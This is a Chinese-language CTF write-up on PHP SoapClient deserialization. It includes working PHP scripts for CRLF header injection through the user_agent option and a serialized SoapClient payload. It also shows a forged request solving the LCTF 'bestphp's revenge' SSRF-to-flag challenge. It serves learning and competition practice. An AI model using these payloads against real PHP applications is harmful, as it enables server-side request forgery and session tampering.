SOAP反序列化的利用

前言

前日的De1CTF的一个web题涉及到了soap反序列化的利用,让我想起了去年的LCTF的一题web题的攻击思路是类似的,然后发现这两题的部分思路貌似都是借鉴N1CTF的一题,故此进行复现与学习

正文

SOAP简介

什么是SOAP?这就要从WebService说起了
WebService是一种跨平台,跨语言的规范,用于不同平台,不同语言开发的应用之间的交互。
比如在Windows Server服务器上有个C#.Net开发的应用A,在Linux上有个Java语言开发的应用B,B应用要调用A应用,或者是互相调用。用于查看对方的业务数据。这个时候,如何解决呢?
WebService就是出于以上类似需求而定义出来的规范:开发人员一般就是在具体平台开发webservice接口,以及调用webservice接口。每种开发语言都有自己的webservice实现框架。
而SOAP作为webService三要素(SOAP、WSDL(WebServicesDescriptionLanguage)、UDDI(UniversalDescriptionDiscovery andIntegration))之一:WSDL 用来描述如何访问具体的接口, UDDI用来管理,分发,查询webService ,SOAP 可以和现存的许多因特网协议和格式结合使用,包括超文本传输协议(HTTP),简单邮件传输协议(SMTP),多用途网际邮件扩充协议(MIME)。

简单而言,SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。
其采用HTTP作为底层通讯协议,XML作为数据传送的格式
SOAP消息基本上是从发送端到接收端的单向传输,但它们常常结合起来执行类似于请求 / 应答的模式,故,我们可以通过它来发送http或https请求。

一条 SOAP消息的组成:一个包含有一个必需的 SOAP 的封装包,一个可选的 SOAP 标头和一个必需的 SOAP 体块的 XML 文档。
SOAP消息格式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml
 version="1.0"?>
<soap:Envelope
 xmlns:soap="http://www.w3.org/2001/12/soap-envelope"
 soap:encodingStyle="http://www.w3.org/2001/12/soap-encoding">

<soap:Header>
</soap:Header>

<soap:Body>
<soap:Fault>
</soap:Fault>
</soap:Body>

</soap:Envelope>
  • Envelope: 标识XML文档,具有名称空间和编码详细信息。
  • Header:包含标题信息,如内容类型和字符集等。
  • Body:包含请求和响应信息。
  • Fault:错误和状态信息。

PHP中的soap

在windows平台需要加入相应的拓展代码

extension = php_soap.dll

扩展中的类

这个扩展实现了6个类。其中有三个高级的类,它们的方法很有用,它们是 SoapClient、SoapServer 和SoapFault。另外三个类除了构造器外没有其它别的方法,这三个是低级的类,它们是 SoapHeader、SoapParam 和 SoapVar。

我们重点看一下SoapClient

public SoapClient ( mixed $wsdl [, array $options ] )

其中传入的第一个参数$wsdl控制是否是wsdl模式,如果为NULL,就是非wsdl模式.

如果是非wsdl模式,反序列化的时候就会对options中的url进行远程soap请求,

如果是wsdl模式,在序列化之前就会对$url参数进行请求,从而无法可控序列化数据。

SoapClient类可以创建soap数据报文,与wsdl接口进行交互。

我们再来了解一下soap的__Call函数

1
2
3
4
5
(PHP 5, PHP 7)

SoapClient::__call — Calls a SOAP function (deprecated)

Calling this method directly is deprecated. Usually, SOAP functions can be called as methods of the SoapClient object; in situations where this is not possible or additional options are needed, use SoapClient::__soapCall().

也就是说该call函数是可以直接调用soap函数的,虽然官方并不建议这样使用,因为soap函数可以作为SoapClient对象的方法调用.

__Call函数作为魔术函数,是在调用一个类中不存在的方法时会触发调用__Call,因此想调用该魔术函数可以说是非常容易的.

进行一个简单的实验

1
2
$a = new SoapClient(null,array('location'=>'http://vps_ip:port','uri'=>'123'));
$a->fuck();

监听相应端口,收到了soap请求的消息

1
2
3
4
5
6
7
8
9
10
POST / HTTP/1.1
Host: vps_ip:port
Connection: Keep-Alive
User-Agent: PHP-SOAP/7.3.4
Content-Type: text/xml; charset=utf-8
SOAPAction: "123#fuck"
Content-Length: 367

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="123" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:fuck/></SOAP-ENV:Body></SOAP-ENV:Envelope>

参阅https://xz.aliyun.com/t/2148#toc-0

发现SOAPAction可控,理论上可以进行CRLF注入,控制post内容,但是由于我们控制不了Content-Type,也就无法真正控制post的内容,最后通过控制User-Agent来控制Content-Type,进行CRLF注入,控制整个post报文

再简单的做个实验吧

1
2
3
4
5
6
7
8
9
<?php
$target = 'http://vps_ip:port';
$post_string = 'a=b%26flag=aaa';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: riddler=1234'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco\r\nContent-Type: application/x-www-form-urlencoded\r\n'.join('\r\n',$headers).'\r\nContent-Length: '.(string)strlen($post_string).'\r\n\r\n'.$post_string,'uri' => "aaab"));
$b->riddler();

收到了伪造的报文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST / HTTP/1.1
Host: 120.77.38.236:23334
Connection: Keep-Alive
User-Agent: wupco\r\nContent-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Cookie: riddler=1234
Content-Length: 14

a=b%26flag=aaa
Content-Type: text/xml; charset=utf-8
SOAPAction: "aaab#riddler"
Content-Length: 371

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="aaab" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:riddler/></SOAP-ENV:Body></SOAP-ENV:Envelope>

Content-Type简单说明

Content-Type是指http/https发送信息至服务器时的内容编码类型,contentType用于表明发送数据流的类型,服务器根据编码类型使用特定的解析方式,获取数据流中的数据。

在网络请求中,常用的Content-Type有如下:
text/html, text/plain, text/css, text/javascript, image/jpeg, image/png, image/gif,
application/x-www-form-urlencoded, multipart/form-data, application/json, application/xml 等。

其中:text/html, text/plain, text/css, text/javascript, image/jpeg, image/png, image/gif, 都是常见的页面资源类型。

application/x-www-form-urlencoded, multipart/form-data, application/json, application/xml 这四个是ajax的请求,表单提交或上传文件的常用的资源类型。

form表单中可以定义enctype属性,该属性的含义是在发送到服务器之前应该如何对表单数据进行编码。默认的情况下,表单数据会编码为
“application/x-www-form-unlencoded”.

enctype常用的属性值如下:application/x-www-form-unlencoded: 在发送前编码所有字符(默认情况下);
multipart/form-data, 不对字符编码。在使用文件上传时候,使用该值。

application/x-www-form-urlencoded主要用于以下:

  • 最常见的POST提交数据方式。
  • 原生form默认的提交方式(可以使用enctype指定提交数据类型)。
  • jquery,zepto等默认post请求提交的方式。

application/x-www-form-urlencoded 是最常用的一种请求编码方式,支持GET/POST等方法,所有数据变成键值对的形式 key1=value1&key2=value2
的形式,并且特殊字符需要转义成utf-8编号,如空格会变成 %20;

LCTF bestphp’s revenge

题面如下:

1
2
3
4
5
6
7
8
9
10
11
12
 <?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>

扫目录可得到一些hint

1
2
3
4
5
6
7
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}
only localhost can get flag!

由于php默认的序列化引擎是php,为了利用,需要先把引擎修改为php_serialize

并且session_start($_SESSION['test'] = 'riddler');类似这样的语法是允许的,因此第一步可以通过控制f为session_start,然后写入一些东西到session中.

1
2
3
4
5
6
7
8
9
<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
'user_agent' => "cytest\r\nCookie: PHPSESSID=riddlertest\r\n",
'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;
?>
#O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A39%3A%22cytest%0D%0ACookie%3A+PHPSESSID%3Driddlertest%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

可以看到已经成功的写入session中,然后我们再正常访问一下


写入的内容已经成功的反序列化,接下来我们就是该想办法如何启动这个soap,
我们关注到题目的代码

1
2
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);

其中reset将内部指针指向数组中的第一个元素,并且,$_SESSION里面存的就是SoapClient对象,如果能直接调用的话就可以直接触发一个soap请求

post的内容是个数组,所以对于键值对b,我们利用extract函数将b覆盖为call_user_func,调用了数组$a的内容,触发了soap请求,于是成功的访问到了flag.php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /?f=extract HTTP/1.1
Host: 192.168.75.130:23333
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=riddlertest
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 16

b=call_user_func

最后再正常访问,便可以看到flag

参考链接

https://wywwzjj.top/2019/08/20/%E5%BD%93%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%81%87%E4%B8%8ASSRF/

https://xz.aliyun.com/t/3336#toc-2

https://www.anquanke.com/post/id/153065#h2-5

https://www.cnblogs.com/kvienchen/p/8310798.html

https://xz.aliyun.com/t/2148#toc-0

https://xz.aliyun.com/t/3340#toc-3

https://www.cnblogs.com/tugenhua0707/p/8975121.html